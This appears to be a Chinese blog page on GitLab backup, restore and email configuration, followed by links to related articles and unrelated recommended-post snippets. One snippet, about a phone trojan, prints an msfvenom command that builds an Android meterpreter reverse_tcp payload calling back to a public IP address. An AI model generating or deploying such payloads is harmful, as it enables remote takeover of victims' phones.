Gitlab备份与恢复[七]
标签(linux): git
笔者Q:972581034 交流群:605799367。有任何疑问可与笔者或加群交流
备份
- 配置文件中加入
 gitlab_rails['bakup_path']='/data/backup/gitlab'
 gitlab_rails['backup_keep_time']=604800
- 重启配置gitlab-ctl reconfigure
- gitlab-ctl restart
- 如果自定义备份目录需要赋予git权限
- mkdir /data/backup/gitlab
- chown -R git.git /data/backup/gitlab
- 定时任务crontab中加入
 0 2 * * * /usr/bin/gitlab-rake gitlab:backup:create
策略建议:本地保留三到七天,在异地备份永久保存
恢复
- 停止数据写入服务 
- gitlab-ctl stop unicorn 
- gitlab-ctl stop sidekiq 
- gitlab-rake gitlab:backup:restore BACKUP=1492296095 
- date -d @1492296095 
邮件配置
gitlab_rails['time_zone']='Asia/Shanghai'
gitlab_rails['gitlab_email_enabled']=true
gitlab_rails['gitlab_email_from']='18171122505@126.com'
gitlab_rails['gitlab_email_display_name']='gitlab'
gitlab_rails['smtp_enable']=true
gitlab_rails['smtp_address']="smtp.126.com"
gitlab_rails['smtp_user_name']="chentiangang"
gitlab_rails['smtp_password']="your_password"
gitlab-rails['smtp_domain']="126.com"
gitlab_rails['smtp_authentication']="login"
Gitlab备份与恢复[七]的更多相关文章
- Git--07  Gitlab备份与恢复
		目录 Gitlab备份与恢复 01). 备份 02). 恢复 Gitlab备份与恢复  对gitlab进行备份将会创建一个包含所有库和附件的归档文件.对备份的恢复只能恢复到与备份时的gitlab相同 ... 
- gitlab 备份与恢复
		1. gitlab 备份命令:# gitlab-rake gitlab:backup:create 1.1 查看备份文件(默认备份路径:/var/opt/gitlab/backups)# ls /va ... 
- Gitlab备份与恢复、迁移与升级
		0.Gitlab安装 1.安装和配置必要的依赖关系 在CentOS7,下面的命令将在系统防火墙打开HTTP和SSH访问. yum install curl openssh-server postf ... 
- gitlab备份与恢复操作方法
		github私有仓库是收费的,有些代码不方便托管到外面的git仓库,因此就产生了自己搭建git服务器的需求. 好在有广大的开源人士的贡献,有了gitlab这一神器. 手动配置较多,直接用集成包: bi ... 
- MySQL InnoDB 备份与恢复七种方式
		有几种方式: 1 mysqldump, 这种方式不仅适用于InnoDB,还适用于其它类型的存储引擎,如MyISAM.备份的时候将数据库备份成SQL(包含drop,create,insert等语句),恢 ... 
- gitlab备份与恢复
		(1)备份 1.创建备份目录,并授权 mkdir /data/backups/gitlab -pv chown -R git.git /data 2.修改gitlab配置 vim /etc/gitla ... 
- 3、gitlab备份与恢复
		1.备份 #修改配置文件,启用备份 [root@localhost ~]# vim /etc/gitlab/gitlab.rb 377 gitlab_rails['backup_path'] = &q ... 
- Gitlab 安装、升级、备份、恢复、汉化等
		一.Gitlab安装 1. 基于yum方式安装Gitlab 安装步骤如下 (1)配置yum源 # vim /etc/yum.repos.d/gitlab-ce.repo (2)复制如下内容并保存(注意 ... 
- git学习------> Gitlab如何进行备份恢复与迁移?
		前段时间,在某台CenterOS服务器上搭建了Gitlab环境,并且大家陆陆续续的都把代码从svn迁移到了gitlab,但是之前的CenterOS服务器并不是搭建在公司的机房环境,而是搭建在办公室的某 ... 
随机推荐
- 关于获得当前的index的方法
			每日一句English(start from today): In the previous section we just displayed a list of string entered st ... 
- 超市买苹果.py
			# 定义苹果数量 price = 5 # 挑选苹果 weight = 4 # 计算金额 money = price * weight money -= 5 # 三个变量 print(type(1.5) ... 
- jsp+struts2登录框架模板
			一.建立一个名叫jsp_struts2的项目 二.导入jar包 如上图:jar包导入在WebContent/WEB-INF/lib下 三.建立一个LoginAction类 LoginAction类的s ... 
- Java与算法之(9) - 直接插入排序
			直接插入排序是最简单的排序算法,也比较符合人的思维习惯.想像一下玩扑克牌抓牌的过程.第一张抓到5,放在手里:第二张抓到3,习惯性的会把它放在5的前面:第三张抓到7,放在5的后面:第四张抓到4,那么我们 ... 
- msfconsole弄外网手机木马
			创建个通道./ngrok tcp 1113 msfvenom -p android/meterpreter/reverse_tcp LHOST=52.15.62.13 LPORT=17016 R &g ... 
- 江西理工大学南昌校区cool code竞赛
			这次比赛原本就是来打酱油的,想做个签到题就走!一开始不知道1002是签到题,一直死磕1001,WA了四发过了,回头一看Rank,三十名,我靠!看了1001的AC率,在我AC之前只有一个人AC了,当时我 ... 
- [hdu3943]K-th Nya Number
			挺正常的一道模板题. f[i][j][k]表示i位的数,有j个4,k个7的方案数. 具体实现的话...我写了发二分答案..需要注意的是二分时应该是mid=L+(R-L)/2..不然分分钟爆longlo ... 
- C/C++之循环结构
			C语言中提供四种循环,即goto循环.while循环.do…while循环和for循环.四种循环可以用来处理同一问题,一般情况下它们可以互相代替换,但一般不提倡用goto循环,因为强制改变程序的顺序经 ... 
- html5只需要<!DOCTYPE HTML>的原因
			首先我们先了解两个东西: SGML:标准通用标记语言(以下简称"通用标言"),是一种定义电子文档结构和描述其内容的国际标准语言:[1] 通用标言为语法置标提供了异常强大的工具,同 ... 
- 测试left join和where的优先级
			--create table tab1--(--id int,--size int--) --create table tab2--(--size int,--name varchar(10)--) ... 
